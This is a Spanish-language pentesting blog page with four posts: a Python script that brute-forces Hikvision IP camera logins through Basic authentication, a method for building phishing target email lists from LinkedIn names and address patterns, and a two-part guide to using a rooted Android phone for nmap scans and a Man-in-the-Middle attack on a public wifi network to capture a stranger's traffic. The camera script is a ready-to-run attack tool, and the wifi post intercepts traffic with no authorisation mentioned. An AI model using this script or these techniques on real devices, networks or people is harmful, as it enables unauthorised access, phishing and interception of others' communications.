Mostrando entradas con la etiqueta pentest. Mostrar todas las entradas
Mostrando entradas con la etiqueta pentest. Mostrar todas las entradas

lunes, 29 de enero de 2018

BruteForcing Hikvision Cams (A little script for your pentests)


Hola a todos. Hoy quiero dejarles un pequeño script (antes de publicar un post un poco mas largo y entretenido) que puede ayudar a la hora de realizar un pentest. Me parece interesante dado que no hay mucho material online (obviamente encontramos herramientas de fuerza bruta pero no una especifica para este tipo de cámaras). Además, no todos tenemos acceso a una de estas bellezas para poder conocer como responde ante un login existoso y así poder codear algo.

Es algo muy sencillo (son un par de líneas), pero como les decía, es necesario conocer a que URI hace el request del usuario, como la hace y como responde.


Una vez ingresadas nuestras credenciales, la aplicación realiza un GET a la URI

/PSIA/Custom/SelfExt/userCheck 

utilizando el método de autenticación Basic (el cual, como sabemos, encodea la información en Base64)



Si el login falla obtenemos el siguiente response:


En cambio, si es exitoso:


Teniendo esto en cuenta, podemos utilizar expresiones regulares, analizar el contenido de la respuesta y verificar su nuestras credenciales han servido.

Entonces, para resumir, lo que debemos hacer es el siguiente loop:

1. Hacer un GET a la URI /PSIA/Custom/SelfExt/userCheck
2. Agregar el header para authentication basic
3. Encodear en base64 las credenciales ingresadas (formato user:pass)
4. Analizar el contenido de la respuesta en busca del código 200 o el "OK"

Teniendo esto en cuenta, armamos nuestro script:


import requests
import re
from argparse import ArgumentParser
import base64


parser = ArgumentParser(description="Hikvision IP Cam brute forcer")
parser.add_argument("-t", "--target", dest="target",
                        help="Target")
parser.add_argument("-u", "--user", dest="username",
                        help="User")
parser.add_argument("-p", "--pass", dest="password",
                        help="Password")

args = parser.parse_args()

user = args.username


f = open(args.password, 'r')
for line in f:

encoded = base64.b64encode(user+':'+str(line).replace('\n', ''))
print '[+]Trying with:',str(line)
headers = {'Authorization': 'Basic '+encoded} 
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/PSIA/Custom/SelfExt/userCheck', headers=headers)
   
matches = re.findall('200', s.text);

if len(matches) == 0: 
    print 'Shit'
else:
    print 'Success!'
    break

El script fué realizado sobre la versión DS-2CD2112-I (asumo que otras versiones lo manejan de la misma forma. Ya lo probaré y les cuento)

Saludos y...

HAPPY CAM HACKING!


jueves, 7 de septiembre de 2017

No emails found...Well...Let´s make some!!!





Hola a todos. Por lo general cuando un cliente nos pide realizar una campaña de phishing nos pasa un archivo con los correos electrónicos de las posibles "victimas". Pero hay algunos casos en los que el cliente nos dice "Me gustaría que trates de obtener correos de la web y nos pases una lista para validarla". Perfecto, muchas veces vamos a encontrar unas lindas listas de correos utilizando por ejemplo Google Hacking, theHarvester, Foca, etc. Pero otras veces, no hay tantos correos públicados por ahí como para obtener una lista importante. Qué podemos hacer en esta situación? (Mamá ayudame, no tengo correos online, que hago???). Bueno, es hora de ponernos a cocinar cuentas de correo elctrónico:


Que ingredientes necesitamos para generar estas cuentas? Anote señora.

1. 500 grs de nombres y apellidos de los empleados.
2. 5 cucharadas del patrón utilizado para armar las cuentas.
3. Una pizca del dominio.

Obteniendo el patrón (del mal?):

El dominio, como ya sabemos, podemos obtenerlo googleando un poco o utilizando dig, entre otras opciones. En el mercado mas cercano de su casa doña.

En cuanto al patrón utilizado...Existen algunos sitios que nos devuelven rápidamente algunas cuentas de correo que encuentra en la red, las analiza y nos informan el patrón utilizado. Uno de ellos es hunter.io.

Podemos ver en la imagen el patrón obtenido:

En este caso, las cuentas se forman utilizando el nombre, luego un punto y para finalizar el apellido.

{first}.{last}@dominio.com.ar

(Otra forma de obtener una cuenta de la que podemos deducir el patrón es de los correos intercambiados con el contacto del cliente...Chau, no me digas!)

Ok, ya tenemos el patrón utilizado y el dominio. Ahora nos queda conocer los nombres de los empleados...LinkedIn allá vamos!!!

A batir: theHarvester + LinkedIn 

No olvidar batir con fuerza.

Utilizamos theHarvester con el dominio en cuestión y pasamos la opción "-b linkedin" para que realice allí las búsquedas de posibles empleados: 


Con este listado, ya tenemos una cantidad considerable de posibles correos a generar. Lo que nos queda por hacer ahora es armar las direccones con esos nombres teniendo en cuenta el patrón obtenido. Esto podemos hacerlo con un pequeño script en Linux jugando con cut, tr, sed, etc.

Eso es todo, con esto habremos obtenido una lista de correos cuando parecía no existir ninguna..A SABOREARLA!


HAPPY COOKING!!!

lunes, 5 de octubre de 2015

Pentesting Mobile (Convirtiendo nuestro Android en un arma mortal) - Parte II


Hola otra vez! Seguimos en la plaza conectados a esa red wifi para probar otras cosas con nuestro Android convertido en una herramienta para realizar penetration tests.

En esta ocasión utilizaremos ConnectBot para conectarnos (valga la redundancia) a través de SSH a nuestro Android. Después, usaremos nmap para realizar un escaneo de la red y guardaremos los resultados en un archivo. Para poder tener disponible ese archivo en nuestra tarjeta SD montaremos un servidor FTP y a través de la sesión de SSH le pasaremos el archivo con el resultado del escaneo. Se entendió algo? jeje. No importa, con las imágenes quedará más claro.

Primer paso, instalar ConnectBot

Asumiendo que ya tenemos instalado y corriendo Linux Deploy (ver entrada anterior aquí), descargaremos e instalaremos ConnectBot --> https://play.google.com/store/apps/details?id=org.connectbot&hl=es_419
Esta app nos permitirá conectarnos por SSH a nuestro Debian. Debemos recordar que Linux Deploy nos permite habilitar las conexión mediante VNC (para obtener la interfaz gráfica) o por SSH (para los amantes de la consola jeje).

Abrimos ConnectBot y configuramos la conexión:


 Abajo, donde dice SSH (como se puede ver en 1) agregamos "android@localhost". Luego, como se puede ver en 2 nos quedará la conexión guardada para la próxima vez que ingresemos.


La clave es "changeme"



Ya estamos en nuestro Debian!


Lanzando Nmap
Instalamos Nmap con "sudo apt-get install nmap". Luego lo lanzamos como todos ustedes ya saben. En este caso guardaré el escaneo en el archivo "scan2.txt":


Hacemos un "cat", y podemos ver el resultados de nuestro nmap en el archivo scan2.txt:
                             
Ahora, que sucede si queremos tener ese resultado disponible en nuestro teléfono, en la tarjeta SD ,fuera de Debian por ejemplo? Bueno, podemos pasarle el archivo al teléfono por FTP...

Instalando FTP Server

En esta tarea nos asistirá FTP Server para Android, que podemos descargar desde: https://play.google.com/store/apps/details?id=lutey.FTPServer&hl=es
Una vez instalado, lo ejecutamos:


En las opciones, debemos habilitar que acepte conexiones provenientes de nuestra red wifi en "ALLOWED CONNECTIONS" así como también elegir un usuario y password para ingresar. Además, podemos seleccionar cual será el directorio raíz:


Volviendo a ConnectBot, donde teniamos la sesión SSH abierta, nos conectamos al servidor FTP haciendo (lo que está en negrita es lo que debemos ingresar):

> ftp
ftp> o
(to) 192.168.1.35 2000 (dirección y puerto de nuestro servidor FTP)

Una vez conectados, le pasamos el archivo con el comando put:


Si hacemos un "dir" veremos que el archivo ya se encuentra en el servidor FTP:


Podemos ver a través de nuestro gestor de archivos nuestro famoso "scan2.txt":


Y así concluimos, hemos convertido nuestro Android en un arma mortal, si no me crees fijate lo que dice Mel...

Saludos y...

HAPPY HACKING!!!!!!!!!!!

miércoles, 23 de septiembre de 2015

Pentesting Mobile (Convirtiendo nuestro Android en un arma mortal) - Parte I


Hola a todos los amantes del pentesting. En esta entrada saldremos de paseo. Así es, nos iremos a caminar por la ciudad en busca de algún punto de acceso WIFI para probar unas herramientas en nuestro querido Android. La idea es montar una distro de Linux en nuestro celular, conectarnos a una red wifi, hacer un Man In The Middle y capturar todo el tráfico generado por nuestra víctima. De más esta decir que tenemos que tener privilegios de root para poder realizar todas estas acciones (nada en la vida es gratis jeje). Comencemos.

Ejecutando Debian en nuestro Android

Para instalar Debian utilizaremos la aplicación Linux Deploy, la cual podemos descargar desde  aquí
No explicaré como se realiza la instalación dado que hay muchos tutoriales en la web (por ejemplo en --> http://www.linux-magazine.com/Online/Features/Convert-an-Android-Device-to-Linux ). Lo bueno es que nos permite conectarnos a nuestro linux tanto por SSH como por VNC (veremos las dos formas). Si queremos conectarnos por SSH recomiendo descargar ConnectBot, ahora si lo queremos hacer por VNC debemos descargar VNC Viewer. Una vez instalado, iniciamos nuestro linux con start:


 Veremos como empieza a montarse nuestro Debian:


 Para esta primera parte nos conectaremos a través de VNC Viewer. Debemos iniciarlo y configurarlo:


Una vez iniciado, debemos agregar una conexión. Para ello tocamos el símbolo "+" y agregamos como Address "localhost" y como Name "Debian". El password por defecto es "changeme" (lo dice todo).

Para iniciar la conexión basta con tocar sobre ella:


Mamá mirá, tengo Debian en mi Android!!! (-dejame de joder, andá a mostrarle a la abuela que le gustan esas cosas)


Desde aquí podemos instalar herramientas como en cualquier Debian. En este caso, instalaremos Wireshark. Para eso hacemos: sudo apt-get install wireshark
Una vez instalado, lo iniciamos...


Instalando zAnti

Esta herramienta está desarrollada especialmente para realizar auditorías de seguridad desde un dispositivo móvil. Nos permite hacer ARP Poissoning, escanear equipos (podemos hasta ver si un equipo es vulnerable a Shellshock), reemplazar imagenes, montar un servidor web, capturar descargas, etc. Para esta ocasión, es la que nos permitirá hacer un Man In The Middle. Podemos descargarla desde:

https://www.zimperium.com/zanti-mobile-penetration-testing

En su website podemos ver algunas demos de lo que puede hacer. También hay videos en Youtube, como por ejemplo: https://www.youtube.com/watch?v=7CdauPf2w1M o https://www.youtube.com/watch?v=7URCG6LTTqQ

Ahora sí estamos listos para ir a dar un paseo!

Ya tenemos todo preparado para ir a nuestra plaza favorita (la que tenga wifi jeje) y probar nuestra herramienta de auditoría de seguridad móvil (los días no ayudan mucho pero bueno, al mal tiempo buen pentesting).

Una vez conectados a wifi ejecutamos zAnti:



Aceptamos todos los términos y veremos que comienza a escanear la red:


Cuando finaliza podemos hacer tap sobre cualquier equipo encontrado y nos mostrará todas las acciones que podemos realizar contra el:


Para esta entrada, realizaremos un ataque de Man In The Middle:


Una vez iniciado el ataque veremos lo siguiente:


Eso es todo con zAnti, ahora pasemos a nuestro Debian:

Aquí solo nos queda iniciar Wireshark y elegir como interface nuestra wlan0 (interface conectada a wifi):


Veremos como comienza a aparecer el tráfico generado por nuestra víctima.


Filtramos un poco para ver el tráfico http:


Muy bien, está visitando el blog!


Obviamente teniendo un Debian en nuestro Android podemos hacer muchas cosas, por ejemplo, hacer el arp poissoning desde ahí y no usar zAnti pero bueno, es cuestión de cada usuario.

En la próxima entrada veremos como conectarnos a nuestro Debian por SSH, realizar un escaneo con Nmap y pasar los resultados a nuestra tarjeta sd montando un servidor FTP.

Como pueden ver, dado la cantidad de herramientas que existen, el límite es nuestra imaginación

Saludos y...

HAPPY MOBILE HACKING!!!